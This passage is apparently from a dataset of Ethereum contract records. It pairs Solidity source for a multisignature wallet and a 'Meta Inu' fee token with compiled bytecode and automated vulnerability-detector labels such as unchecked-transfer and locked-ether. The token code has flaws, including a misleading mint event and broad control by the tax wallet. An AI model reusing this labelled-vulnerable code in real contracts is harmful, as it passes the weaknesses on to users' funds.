f74207468652061646d696e6973747261746f72a2646970667358221220fda5e5bfca11d13e6a2d57c4cb743a1976f9628eb291b5eb4359e694dc83fb7e64736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,114 |
0xe341c37f86993d2d4b858f1734c330df9fab40c9
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b600380546000190190610684908261147a565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611367565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561135f576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a506112f295600160a060020a03909216949093919083908301828280156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b5050505050611457565b156113275760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261135f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561137f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ff9260028501929101906114a3565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561149e5760008381526020902061149e918101908301611521565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e457805160ff1916838001178555611511565b82800160010185558215611511579182015b828111156115115782518255916020019190600101906114f6565b5061151d929150611521565b5090565b610b9791905b8082111561151d57600081556001016115275600a165627a7a72305820615bbea3fb3d57386a570ef1bf316373fc9606e2a1bb90346f1a5bdd347de6800029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,115 |
0x789B98B3cA2358f04F2bC88fdD6762e51a7F6f9B
|
/**
*Submitted for verification at Etherscan.io on 2021-12-01
*/
//SPDX-License-Identifier: None
// Twitter: https://twitter.com/metainu_token
// Telegram: https://t.me/metainutokenofficial
// Website: http://www.metainu.cc
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=2400000000;
string constant TOKEN_SYMBOL="METAINU";
string constant TOKEN_NAME="Meta Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MetaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a3578063a9059cbb146102c3578063dd62ed3e146102e3578063f42938901461032957600080fd5b806370a0823114610216578063715018a6146102365780638da5cb5b1461024b57806395d89b411461027357600080fd5b8063293230b8116100c6578063293230b8146101b9578063313ce567146101d05780633e07ce5b146101ec57806351bc3c851461020157600080fd5b806306fdde0314610103578063095ea7b31461014657806318160ddd1461017657806323b872dd1461019957600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260088152674d65746120496e7560c01b60208201525b60405161013d919061139d565b60405180910390f35b34801561015257600080fd5b50610166610161366004611407565b61033e565b604051901515815260200161013d565b34801561018257600080fd5b5061018b610355565b60405190815260200161013d565b3480156101a557600080fd5b506101666101b4366004611433565b610376565b3480156101c557600080fd5b506101ce6103df565b005b3480156101dc57600080fd5b506040516006815260200161013d565b3480156101f857600080fd5b506101ce610757565b34801561020d57600080fd5b506101ce61078d565b34801561022257600080fd5b5061018b610231366004611474565b6107ba565b34801561024257600080fd5b506101ce6107dc565b34801561025757600080fd5b506000546040516001600160a01b03909116815260200161013d565b34801561027f57600080fd5b506040805180820190915260078152664d455441494e5560c81b6020820152610130565b3480156102af57600080fd5b506101ce6102be366004611491565b610880565b3480156102cf57600080fd5b506101666102de366004611407565b6108a9565b3480156102ef57600080fd5b5061018b6102fe3660046114aa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033557600080fd5b506101ce6108b6565b600061034b338484610920565b5060015b92915050565b60006103636006600a6115dd565b61037190638f0d18006115ec565b905090565b6000610383848484610a44565b6103d584336103d085604051806060016040528060288152602001611751602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc9565b610920565b5060019392505050565b6009546001600160a01b031633146103f657600080fd5b600c54600160a01b900460ff16156104555760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104819030906001600160a01b03166104736006600a6115dd565b6103d090638f0d18006115ec565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610